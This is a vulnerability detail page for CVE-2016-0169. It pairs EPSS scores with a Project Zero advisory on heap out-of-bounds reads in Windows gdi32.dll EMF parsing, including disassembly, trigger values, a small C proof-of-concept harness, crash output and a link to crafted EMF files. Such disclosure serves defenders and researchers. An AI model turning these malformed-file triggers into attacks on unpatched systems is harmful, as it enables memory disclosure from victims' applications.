CVE-2016-0169 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	50.12%	–	–
2022-04-03	–	–	50.12%	–	–
2023-03-12	–	–	–	95.64%	–
2023-04-16	–	–	–	95.34%	–
2023-05-28	–	–	–	95.5%	–
2023-07-09	–	–	–	95.78%	–
2023-08-13	–	–	–	95.37%	–
2023-10-22	–	–	–	95.11%	–
2023-12-31	–	–	–	94.8%	–
2024-04-07	–	–	–	94.45%	–
2024-06-02	–	–	–	92.7%	–
2024-09-15	–	–	–	92.29%	–
2024-10-27	–	–	–	91.91%	–
2024-12-08	–	–	–	91.95%	–
2025-01-19	–	–	–	91.95%	–
2025-03-18	–	–	–	–	68.31%
2025-03-30	–	–	–	–	68.31%
2025-03-30	–	–	–	–	68.31,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	98%
2022-04-03	99%
2023-03-12	99%
2023-04-16	99%
2023-05-28	99%
2023-07-09	99%
2023-08-13	99%
2023-10-22	99%
2023-12-31	99%
2024-04-07	99%
2024-06-02	99%
2024-09-15	99%
2024-10-27	99%
2024-12-08	99%
2025-01-19	99%
2025-03-18	99%
2025-03-30	98%
2025-03-30	98%

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=729 There are two programming errors in the implementation of the COMMENT_MULTIFORMATS record in EMF files, as found in the user-mode gdi32.dll system library. The worst of them may lead to reading beyond allocated heap-based buffers, leading to a crash or potential disclosure of the library client's memory (e.g. Internet Explorer's). Each of the discovered bugs is briefly described below. The analysis was based on a 32-bit gdi32.dll file found in the C:\Windows\SysWOW64 directory on a fully patched Windows 7 operating system. -------------------------------------------------------------------------------- - Integer overflow in the sanitization of the EMR_COMMENT_MULTIFORMATS.CountFormats field leading to a heap-based out-of-bounds read -------------------------------------------------------------------------------- When encountering a COMMENT_MULTIFORMATS record, the MRGDICOMMENT::bPlay() function starts off by sanitizing the 32-bit EMR_COMMENT_MULTIFORMATS.CountFormats field, by ensuring the following: 1) EMR_COMMENT_MULTIFORMATS.CountFormats < 0xFFFFFFF 2) 0x28 + (0x10 * EMR_COMMENT_MULTIFORMATS.CountFormats) fits within the EMF record. Or, in assembly: --- cut --- .text:7DAE7B3A mov eax, [esi+24h] .text:7DAE7B3D cmp eax, 0FFFFFFFh .text:7DAE7B42 jnb short loc_7DAE7ADC .text:7DAE7B44 shl eax, 4 .text:7DAE7B47 add eax, 28h .text:7DAE7B4A push eax ; unsigned __int32 .text:7DAE7B4B push [ebp+arg_4] ; struct tagHANDLETABLE * .text:7DAE7B4E mov ecx, esi ; this .text:7DAE7B50 call ?bValidSize@MR@@QAEHPAUtagHANDLETABLE@@K@Z ; MR::bValidSize(tagHANDLETABLE *,ulong) .text:7DAE7B55 test eax, eax .text:7DAE7B57 jz short loc_7DAE7ADC --- cut --- Since all calculations are performed on 32-bit types, it is possible to satisfy both conditions with the invalid 0xFFFFFFE value: 0x28 + (0x10 * 0xFFFFFFE) = 0x100000008 = (uint32)0x8. The value is then used to iterate over EmrFormat objects assumed to reside in the current EMR_COMMENT_MULTIFORMATS record, searching for either ENHMETA_SIGNATURE (embedded EMF file) or EPS_SIGNATURE (embedded PostScript). If either of the signatures is found, the corresponding object is handled accordingly; other objects are skipped. The issue can therefore be used to have uninitialized / out-of-bounds heap data interpreted as EMF or PostScript, which could be then potentially retrieved back in GDI clients such as Internet Explorer. The attached poc1.emf file illustrates the problem by crashing Internet Explorer, which attempts to read an EmrFormat signature outside of a page boundary. -------------------------------------------------------------------------------- - Lack of EmrFormat.offData field sanitization in EPS_SIGNATURE handling leading to heap-based out-of-bounds read with controlled offset and length -------------------------------------------------------------------------------- The code in the MRGDICOMMENT::bPlay() function responsible for handling EPS_SIGNATURE EmrFormat objects doesn't sanitize the EmrFormat.offData field before using it as an offset relative to the COMMENT_MULTIFORMATS record memory, in the context of the "source" argument to a memcpy() call ([EBX+4] is EmrFormat.offData): --- cut --- .text:7DAE7C27 mov eax, [ebx+4] .text:7DAE7C2A lea eax, [eax+esi+0Ch] .text:7DAE7C2E push eax ; Src .text:7DAE7C2F lea eax, [edi+20h] .text:7DAE7C32 push eax ; Dst .text:7DAE7C33 call _memcpy --- cut --- Lack of the value sanitization can be used to have any heap memory relative to the input record's buffer passed as input of the ENCAPSULATED_POSTSCRIPT escape code sent to the HDC. The attached poc2.emf file is supposed to illustrate the issue; however, in order to reach the affected code, DrawEscape(HDC, QUERYESCSUPPORT, ENCAPSULATED_POSTSCRIPT) must succeed first. I haven't been able to find a rendering scenario in which a HDC supporting ENCAPSULATED_POSTSCRIPT is used, and thus I haven't managed to fully reproduce a crash (although the bug seems obvious from a manual analysis). Short update: there is another problem in the gdi32!MRGDICOMMENT::bPlay() function: under several circumstances, it calls the gdi32!GdiComment() function with a fully attacker-controlled "Size" argument, which is assumed by the function to be trusted and is used to copy data out of the record's buffer. One such circumstance is when the MRGDICOMMENT::bIsPublicComment() function return FALSE, which is also under the input file's control. --- cut --- .text:7DAD2ECD push [ebp+arg_4] ; struct tagHANDLETABLE * .text:7DAD2ED0 mov esi, ecx .text:7DAD2ED2 call ?bCheckRecord@MRGDICOMMENT@@QAEHPAUtagHANDLETABLE@@@Z ; MRGDICOMMENT::bCheckRecord(tagHANDLETABLE *) .text:7DAD2ED7 test eax, eax .text:7DAD2ED9 jz loc_7DAE7ADC .text:7DAD2EDF mov ecx, esi ; this .text:7DAD2EE1 call ?bIsPublicComment@MRGDICOMMENT@@QAEHXZ ; MRGDICOMMENT::bIsPublicComment(void) .text:7DAD2EE6 test eax, eax .text:7DAD2EE8 jnz loc_7DAE7AE3 .text:7DAD2EEE .text:7DAD2EEE loc_7DAD2EEE: ; CODE XREF: MRGDICOMMENT::bPlay(void *,tagHANDLETABLE *,uint)+14C3B31j .text:7DAD2EEE ; MRGDICOMMENT::bPlay(void *,tagHANDLETABLE *,uint)+14C7231j .text:7DAD2EEE lea eax, [esi+0Ch] .text:7DAD2EF1 push eax ; lpData .text:7DAD2EF2 push dword ptr [esi+8] ; nSize .text:7DAD2EF5 push [ebp+hdc] ; hdc .text:7DAD2EF8 call _GdiComment@12 ; GdiComment(x,x,x) --- cut --- The invalid copy can occur in another nested function (gdi32!MF_GdiComment), which is only invoked if the HDC being drawn to is another EMF object. I have developed a short POC program to illustrate this: --- cut --- #include <windows.h> int main() { RECT rect = {0, 0, 100, 100}; HDC hdc = CreateEnhMetaFile(NULL, NULL, &rect, NULL); HENHMETAFILE hemf = GetEnhMetaFile("poc3.emf"); PlayEnhMetaFile(hdc, hemf, &rect); return 0; } --- cut --- If the attached poc3.emf file (which sets the Size to 0x70707070) is placed in the same directory as the test program, we can observe the following crash: --- cut --- (2aa0.2f84): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=70a370f0 ebx=00330080 ecx=0071bfe0 edx=00000000 esi=01f9fffc edi=03c10168 eip=77c12588 esp=0028fcf4 ebp=0028fcfc iopl=0 nv dn ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010606 ntdll!memcpy+0x1b8: 77c12588 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:000> kb ChildEBP RetAddr Args to Child 0028fcfc 762e5bf4 01fa01ec 00330080 70707070 ntdll!memcpy+0x1b8 0028fd10 762e5bb5 70707070 00330080 00330000 GDI32!MRGDICOMMENT::vInit+0x1e 0028fd60 762e5b0d 05212466 70707070 01fa01e0 GDI32!MF_GdiComment+0x21e 0028fd78 762e2efd 05212466 70707070 00330080 GDI32!GdiComment+0x43 0028fdbc 762e4e17 05212466 0078fd50 00000004 GDI32!MRGDICOMMENT::bPlay+0x25a 0028fe34 762eca93 05212466 0078fd50 00330074 GDI32!PlayEnhMetaFileRecord+0x2c5 0028febc 762ecaf2 05212466 403581b4 00000000 GDI32!bInternalPlayEMF+0x66b *** ERROR: Module load completed but symbols could not be loaded for image00400000 0028fed8 00401478 05212466 05462463 0028fef8 GDI32!PlayEnhMetaFile+0x32 WARNING: Stack unwind information not available. Following frames may be wrong. 0028ff18 004010fd 0028ff28 75a09e34 7efde000 image00400000+0x1478 0028ff94 77c29a02 7efde000 4fdbb63f 00000000 image00400000+0x10fd 0028ffd4 77c299d5 00401280 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70 0028ffec 00000000 00401280 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b --- cut --- Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39833.zip